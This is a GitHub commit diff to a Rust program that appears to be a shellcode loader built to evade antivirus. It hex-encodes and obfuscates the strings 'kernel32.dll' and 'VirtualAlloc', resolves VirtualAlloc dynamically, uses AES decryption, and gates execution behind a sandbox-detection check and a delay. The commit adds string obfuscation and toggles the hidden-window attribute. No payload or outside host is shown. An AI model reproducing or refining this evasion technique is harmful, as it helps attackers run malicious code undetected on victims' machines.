File tree 1 file changed +5
-5
lines changed
1 file changed +5
-5
lines changed Original file line number Diff line number Diff line change 1
- #![ windows_subsystem = "windows" ]
1
+ // #![windows_subsystem = "windows"]
2
2
extern crate alloc;
3
3
4
4
use alloc:: ffi:: CString ;
@@ -7,9 +7,10 @@ use std::arch::asm;
7
7
use std:: mem:: transmute;
8
8
use std:: ptr:: { null, null_mut} ;
9
9
use std:: time:: Duration ;
10
- use obfstr :: obfstr as s ;
10
+
11
11
use hex;
12
12
use libaes:: Cipher ;
13
+ use obfstr:: obfstr as s;
13
14
use rand:: Rng ;
14
15
use winapi:: um:: libloaderapi:: { GetModuleHandleA , GetProcAddress } ;
15
16
use winapi:: um:: sysinfoapi:: GetTickCount ;
@@ -24,7 +25,6 @@ type CustomVirtualAlloc = unsafe extern "system" fn(
24
25
) -> * mut winapi:: ctypes:: c_void ;
25
26
26
27
27
-
28
28
fn main ( ) {
29
29
unsafe {
30
30
if !analy_environment ( ) {
@@ -46,8 +46,8 @@ fn main() {
46
46
thread:: sleep ( Duration :: from_secs ( 2 ) ) ;
47
47
48
48
49
- let Kname = hex:: decode ( "6b65726e656c33322e646c6c" ) . expect ( "hex decode err" ) ;
50
- let Vname = hex:: decode ( "5669727475616c416c6c6f63" ) . expect ( "hex decode err" ) ;
49
+ let Kname = hex:: decode ( s ! ( "6b65726e656c33322e646c6c" ) ) . expect ( "hex decode err" ) ;
50
+ let Vname = hex:: decode ( s ! ( "5669727475616c416c6c6f63" ) ) . expect ( "hex decode err" ) ;
51
51
let kernel32 = CString :: new ( Kname ) . expect ( "CString::new failed" ) ;
52
52
let virtual_alloc = CString :: new ( Vname ) . expect ( "CString::new failed" ) ;
53
53
You can’t perform that action at this time.
0 commit comments